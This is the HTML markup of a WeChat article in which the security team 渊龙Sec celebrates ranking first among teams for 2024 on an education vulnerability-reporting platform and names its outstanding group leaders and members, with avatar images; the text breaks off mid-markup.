center;box-sizing:border-box;max-width:90% !important;"><div data-role="layout" style="display: flex;justify-content: center;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div><div style="margin-bottom: 10px;line-height: 36px;color: #000000;font-size: 14px;text-shadow: none;" data-autoskip="1"><p style="text-align:center;"><span style="font-size: 16px;"><strong><span style="font-size: 16px;caret-color: red;"><span leaf="">渊龙Sec安全团队 荣获教育漏洞报告平台</span></span></strong></span></p><p style="text-align:center;"><span style="font-size:19px;"><strong><span style="caret-color: red;text-shadow: none;color: #b21916;"><span leaf="">“2024年度团队 第一名”</span></span></strong></span></p></div></div></div></div></div><div data-tools="135编辑器" data-id="133915" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;"><div><div style="margin: 10px auto;"><div style="background-color: #ffffff;padding: 12px;background-repeat: repeat;background-size: auto;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);box-sizing:border-box;"><div style="width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><p><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100002024" data-ratio="0.75" style="vertical-align: baseline;width: 100%;box-sizing:border-box;max-width:100% !important;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a883ab52&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTicmamkzXxeekJCcx8K2Y6ib3l8ZJHXdh5fWbztZ83iagsYR2hPCQExVQg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><div><p style="text-align:center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100001764" data-ratio="0.75" style="width: 100%;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ba1dcfc3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4RpMSFoWkbRqhVPMibATNgaibNEvvyI4ic2dPumq8LFpviaazib3jibmbgmBw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div><p style="display: flex;justify-content: flex-end;margin-top: -35px;z-index: 10;height: 0px;"><span leaf=""><br/></span></p></div></div><div style="line-height: 27.2px;"><p><span leaf=""><br/></span></p></div><div style="font-size: 14px;"><div style="will-change: transform;"><div style="margin-right: 0%;margin-bottom: 20px;margin-left: 0%;"><div style="line-height: 2;letter-spacing: 1px;font-size: 16px;color: #646464;text-align: center;padding-right: 10px;padding-left: 10px;box-sizing:border-box;"><p><strong><span style="font-size: 12px;" data-brushtype="text"><span leaf="">▲</span></span><span style="font-size: 12px;" data-brushtype="text"><span leaf="">  “2024年度优秀团队”</span></span></strong></p></div></div></div></div></div><div data-tools="135编辑器" data-id="98904" style="margin-right: auto;margin-left: auto;width: 60%;flex: 0 0 60%;box-sizing:border-box;max-width:60% !important;" data-width="60%"><div data-role="layout" style="display: flex;justify-content: flex-end;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 5%;align-self: center;box-sizing:border-box;max-width:5% !important;" data-width="5%"><div style="transform-origin: center center;transform: translateY(20px);-webkit-transform: translateY(20px);-moz-transform: translateY(20px);-o-transform: translateY(20px);"><div data-role="scale-fix" style="margin-top: -20px;"><p style="text-align: right;" align="right" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100001760" data-ratio="3.8" style="width: 100%;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" data-type="png" data-w="10" src="https://wechat2rss.xlab.app/img-proxy/?k=d0294d58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4wqxgGrMRZPW7eKjpNvWibKTHmRTfn8cgHBnVlbECAMQ9S89NRlZMlibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div><div data-role="layout" data-width="95%" style="display: inline-block;width: 95%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;align-self: center;margin-left: 10px;box-sizing:border-box;max-width:95% !important;"><div style="line-height: 2.6;"><p style="text-align: center;color: #ffffff;"><span style="font-size: 20px;"><strong data-brushtype="text"><span leaf="">优秀组长组员表彰</span></strong></span></p></div></div></div></div><div data-tools="135编辑器" data-id="98902" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;transform-origin: center center;box-sizing:border-box;max-width:90% !important;"><div data-role="layout" style="display: flex;justify-content: center;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div><div style="margin-bottom: 10px;line-height: 36px;color: #000000;font-size: 18px;text-shadow: none;" data-autoskip="1"><p style="text-align:center;"><strong style="letter-spacing: normal;line-height: 2em;"><span data-brushtype="text" style="caret-color: red;"><span leaf="">恭喜师傅们荣获</span></span><span style="caret-color: red;text-shadow: none;color: #b21916;"><strong data-brushtype="text"><span leaf="">“优秀组长”“优秀组员”奖金</span></strong></span></strong></p><p style="text-align:center;"><strong><span style="caret-color: red;text-shadow: none;color: #b21916;"><span leaf="">感谢团队师傅在2024年的关注和支持~~</span></span></strong></p><p style="text-align:center;"><strong style="letter-spacing: normal;line-height: 2em;"><span style="caret-color: red;"><span leaf="">新的一年，大家一起向前冲！！！</span></span></strong></p></div></div></div></div></div><div data-tools="135编辑器" data-id="98902"><div data-role="layout" style="display: flex;justify-content: center;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div style="font-size: 14px;"><div style="will-change: transform;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: 24%;align-self: flex-start;flex: 0 0 auto;box-sizing:border-box;max-width:24% !important;"><div style="text-align: right;margin-top: 25px;transform: translate3d(-10px, 0px, 0px);-webkit-transform: translate3d(-10px, 0px, 0px);-moz-transform: translate3d(-10px, 0px, 0px);-o-transform: translate3d(-10px, 0px, 0px);"><p style="display: inline-block;width: 6px;height: 6px;overflow: hidden;border-radius: 20px;background-color: rgb(178, 25, 22);box-sizing:border-box;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0;width: 0px;box-sizing:border-box;"></svg></p></div></div><div style="display: inline-block;width: 52%;align-self: flex-start;flex: 0 0 auto;box-sizing:border-box;max-width:52% !important;"><div style="text-align: center;font-size: 32px;color: rgb(178, 25, 22);letter-spacing: 5px;line-height: 1;"><p><strong data-brushtype="text"><span leaf="">优秀组长表彰</span></strong></p></div><div style="text-align: justify;color: rgb(178, 25, 22);"><div style="text-align: center;" data-autoskip="1"><p><span style="font-size: 17px;"><strong><span leaf="">EDU小组的精神领袖是谁呢？</span></strong></span></p></div></div></div><div style="display: inline-block;width: 24%;align-self: flex-start;flex: 0 0 auto;box-sizing:border-box;max-width:24% !important;"><div style="margin-top: 25px;"><p style="display: inline-block;width: 6px;height: 6px;overflow: hidden;border-radius: 20px;background-color: rgb(178, 25, 22);box-sizing:border-box;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0;width: 0px;box-sizing:border-box;"></svg></p></div></div></div></div></div></div></div></div><div><div><div style="line-height: 27.2px;"><p><span leaf=""><br/></span></p></div><div data-tools="135编辑器" data-id="101446"><div style="margin: 10px auto;text-align: center;"><div style="display: flex;align-items: flex-end;justify-content: space-around;"><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100001762" data-ratio="1" title="undefined" data-type="jpeg" data-w="640" data-width="100%" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: rgb(178, 25, 22);padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d882f10d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4RrfgRpryM2VLvtw89xktXTLiajsPOORkKOfFW17FKShKEt2GM3NhanQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="flex-shrink: 0;"><div style="display: flex;align-items: center;flex-direction: column;"><p style="width: 100px;height: 100px;border-radius: 100%;flex-shrink: 0;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100001763" data-ratio="1.0014285714285713" title="undefined" data-type="jpeg" data-w="700" data-width="100%" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: rgb(178, 25, 22);padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d94400e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4bJ5lxWjL3Ork0YrLI4x1EDVUm8WHASJ6cgzzW45XJd1mTFo49VE3Fg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100001761" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="132" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: rgb(178, 25, 22);padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=631ef630&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfN2jIUt2d1PzAXr67fhqV4kicC0ZAyA28yJktrrFfEibNPkibAY2smaJg1QCgRO7Xkbo6tFJQIyhEHg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div><div data-tools="135编辑器" data-id="98906" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;"><div data-role="layout" style="display: flex;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: rgb(253, 205, 133);border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><div><p style="text-align: center;line-height: 27.2px;"><strong data-brushtype="text"><span leaf="">梅苑_</span></strong></p></div></div></div><div data-role="layout" style="display: inline-block;width: 34%;border-style: solid;border-width: 2px;border-color: rgb(253, 205, 133);border-radius: 10px;margin-right: 30px;margin-left: 30px;box-sizing:border-box;max-width:34% !important;" data-width="34%"><div data-role="layout-inner"><div><p style="text-align: center;line-height: 27.2px;"><strong data-brushtype="text"><span leaf="">AabyssZG</span></strong></p></div></div></div><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: rgb(253, 205, 133);border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><div><p style="text-align: center;line-height: 27.2px;"><strong data-brushtype="text"><span leaf="">期待您到来</span></strong></p></div></div></div></div></div></div><div><div style="line-height: 27.2px;"><p><span leaf=""><br/></span></p></div></div></div><div data-tools="135编辑器" data-id="98902"><div data-role="layout" style="display: flex;justify-content: center;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div style="font-size: 14px;"><div style="will-change: transform;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="display: inline-block;width: 24%;align-self: flex-start;flex: 0 0 auto;box-sizing:border-box;max-width:24% !important;"><div style="text-align: right;margin-top: 25px;transform: translate3d(-10px, 0px, 0px);-webkit-transform: translate3d(-10px, 0px, 0px);-moz-transform: translate3d(-10px, 0px, 0px);-o-transform: translate3d(-10px, 0px, 0px);"><p style="display: inline-block;width: 6px;height: 6px;overflow: hidden;border-radius: 20px;background-color: rgb(178, 25, 22);box-sizing:border-box;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0;width: 0px;box-sizing:border-box;"></svg></p></div></div><div style="display: inline-block;width: 52%;align-self: flex-start;flex: 0 0 auto;box-sizing:border-box;max-width:52% !important;"><div style="text-align: center;font-size: 32px;color: rgb(178, 25, 22);letter-spacing: 5px;line-height: 1;"><p><strong data-brushtype="text"><span leaf="">优秀组员表彰</span></strong></p></div><div style="text-align: justify;color: rgb(178, 25, 22);"><div style="text-align: center;" data-autoskip="1"><p><span style="font-size: 17px;"><strong><span leaf="">看看今年奖金花落谁家呢？</span></strong></span></p></div></div></div><div style="display: inline-block;width: 24%;align-self: flex-start;flex: 0 0 auto;box-sizing:border-box;max-width:24% !important;"><div style="margin-top: 25px;"><p style="display: inline-block;width: 6px;height: 6px;overflow: hidden;border-radius: 20px;background-color: rgb(178, 25, 22);box-sizing:border-box;"><svg viewBox="0 0 1 1" style="float: left;line-height: 0;width: 0px;box-sizing:border-box;"></svg></p></div></div></div></div></div></div></div></div><div><div><div style="line-height: 27.2px;"><p><span leaf=""><br/></span></p></div><div data-tools="135编辑器" data-id="101446"><div style="margin: 10px auto;text-align: center;"><div style="display: flex;align-items: flex-end;justify-content: space-around;"><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002026" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="640" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=d98b0ec7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT1CCeffOvmaGticwkAvFAKibv1ZMkc2YzcXY8iaMszvFKjic5AYtGve2KPw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="flex-shrink: 0;"><div style="display: flex;align-items: center;flex-direction: column;"><p style="width: 100px;height: 100px;border-radius: 100%;flex-shrink: 0;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002022" data-ratio="1" title="undefined" data-type="jpeg" data-w="500" data-width="100%" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=92bd5e38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT4yx68NeNxwNqHYF9sb3ZmVmBBfCS28J9yxEtbMSjSibibl3yK0EYoDibg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002027" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="640" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=dda76906&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTceLVnxqkbLPBck5dLceZNHvePnVXtrMfNh0TFOM7z9dmjSS1JntE6Q%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div><div data-tools="135编辑器" data-id="98906" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;"><div data-role="layout" style="display: flex;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><div><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 14px;"><strong data-brushtype="text"><span leaf="">我落泪_情绪零碎</span></strong></span></p></div></div></div><div data-role="layout" style="display: inline-block;width: 34%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;margin-right: 30px;margin-left: 30px;box-sizing:border-box;max-width:34% !important;" data-width="34%"><div data-role="layout-inner"><div><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">piao</span></strong></span></p></div></div></div><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><div><p style="text-align: center;line-height: 27.2px;"><strong data-brushtype="text"><span leaf="">Lalala</span></strong></p></div></div></div></div></div></div><div><div style="line-height: 27.2px;"><p><span leaf=""><br/></span></p></div><div data-tools="135编辑器" data-id="101446"><div style="margin: 10px auto;text-align: center;"><div style="display: flex;align-items: flex-end;justify-content: space-around;"><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002028" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="640" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=d1e34c11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTVbibXZzjpJl32yXicC32rhicpvl7H6rerQyghXqOY13L1urfSnnq8xdcw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="flex-shrink: 0;"><div style="display: flex;align-items: center;flex-direction: column;"><p style="width: 100px;height: 100px;border-radius: 100%;flex-shrink: 0;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002030" data-ratio="1" title="undefined" data-type="jpeg" data-w="940" data-width="100%" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=ca6a8ce3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTgLWhVaCCubunZhl5IGPvfmoYobNsclk9PhUC8C4sHeXhsyLVbJJG0Q%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002029" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="711" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=b325de0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrT1Lx8Vibuo9w8Pp0cwA9cPmjyh8lKZySibaJELM2ytx9ZlVWbKRU5hQ5w%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div><div data-tools="135编辑器" data-id="98906" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;"><div data-role="layout" style="display: flex;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><div><p style="text-align: center;line-height: 27.2px;"><strong data-brushtype="text"><span leaf="">iChet</span></strong></p></div></div></div><div data-role="layout" style="display: inline-block;width: 34%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;margin-right: 30px;margin-left: 30px;box-sizing:border-box;max-width:34% !important;" data-width="34%"><div data-role="layout-inner"><div><p style="text-align: center;line-height: 27.2px;"><strong data-brushtype="text"><span leaf="">叫我十一大人</span></strong></p></div></div></div><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><div><p style="text-align: center;line-height: 27.2px;"><strong data-brushtype="text"><span leaf="">sonumb</span></strong></p></div></div></div></div></div></div><div data-tools="135编辑器" data-id="98902"><div data-role="layout" style="display: flex;justify-content: center;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 100%;max-width:100% !important;box-sizing:border-box;" data-width="100%"><div data-role="layout-inner"><div><div style="font-size: 14px;"><div style="line-height: 27.2px;"><div><div><div data-tools="135编辑器" data-id="101446"><div style="margin: 10px auto;text-align: center;"><div style="display: flex;align-items: flex-end;justify-content: space-around;"><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002031" class="rich_pages wxw-img" data-ratio="1.0018796992481203" data-type="jpeg" data-w="1064" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=a76375c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTibjDH365VAt9Z4XCore7BL374QatanBehJmDuTlbwHrC7eFgNBpQWJA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="flex-shrink: 0;"><div style="display: flex;align-items: center;flex-direction: column;"><p style="width: 100px;height: 100px;border-radius: 100%;flex-shrink: 0;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002037" data-ratio="1" title="undefined" data-type="jpeg" data-w="940" data-width="100%" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4f8ac303&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTKlLuEADJeg88sxszFjcFVicLQYYl4gcIacydvvHcyp9nUibxexrlIMFQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div><div style="border-radius: 100%;box-sizing:border-box;"><p style="width: 100px;height: 100px;border-radius: 100%;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fiajytAx7IbfN2jIUt2d1PzAXr67fhqV4pqxTETeMexuYNzh5eBsBw3niaYXICAS9URDhT8NRtdtyvQpKibAGrzlA/640?wx_fmt=png&amp;from=appmsg&#34;);background-repeat: repeat;background-size: auto;box-sizing:border-box;" nodeleaf=""><img data-imgfileid="100002036" class="rich_pages wxw-img" data-ratio="1" data-type="jpeg" data-w="940" style="width: 100%;display: block;border-radius: 100%;border-width: 1px;border-style: solid;border-color: #b21916;padding: 4px;vertical-align:baseline;box-sizing:border-box;max-width:100% !important;" title="undefined" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=9281e35c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7Ibeia6u6Bmaia12uMUh9hBjMrTDdfMhHRNibNicNuhIltjJYqWBIic8L9952GRGwCic39AFKLnoQGTmBUTfQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div></div></div></div><div data-tools="135编辑器" data-id="98906" data-width="90%" style="width: 90%;flex: 0 0 90%;margin-left: auto;margin-right: auto;box-sizing:border-box;max-width:90% !important;"><div data-role="layout" style="display: flex;flex-flow:row nowrap;"><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">Rebori</span></strong></span></p></div></div><div data-role="layout" style="display: inline-block;width: 34%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;margin-right: 30px;margin-left: 30px;box-sizing:border-box;max-width:34% !important;" data-width="34%"><div data-role="layout-inner"><p style="text-align: center;line-height: 27.2px;"><span style="font-size: 17px;"><strong data-brushtype="text"><span leaf="">IntAx</span></strong></span></p></div></div><div data-role="layout" style="display: inline-block;width: 33.3%;border-style: solid;border-width: 2px;border-color: #fdcd85;border-radius: 10px;box-sizing:border-box;max-width:33.3% !important;" data-width="33.3%"><div data-role="layout-inner"><p style="text-align: center;line-height: 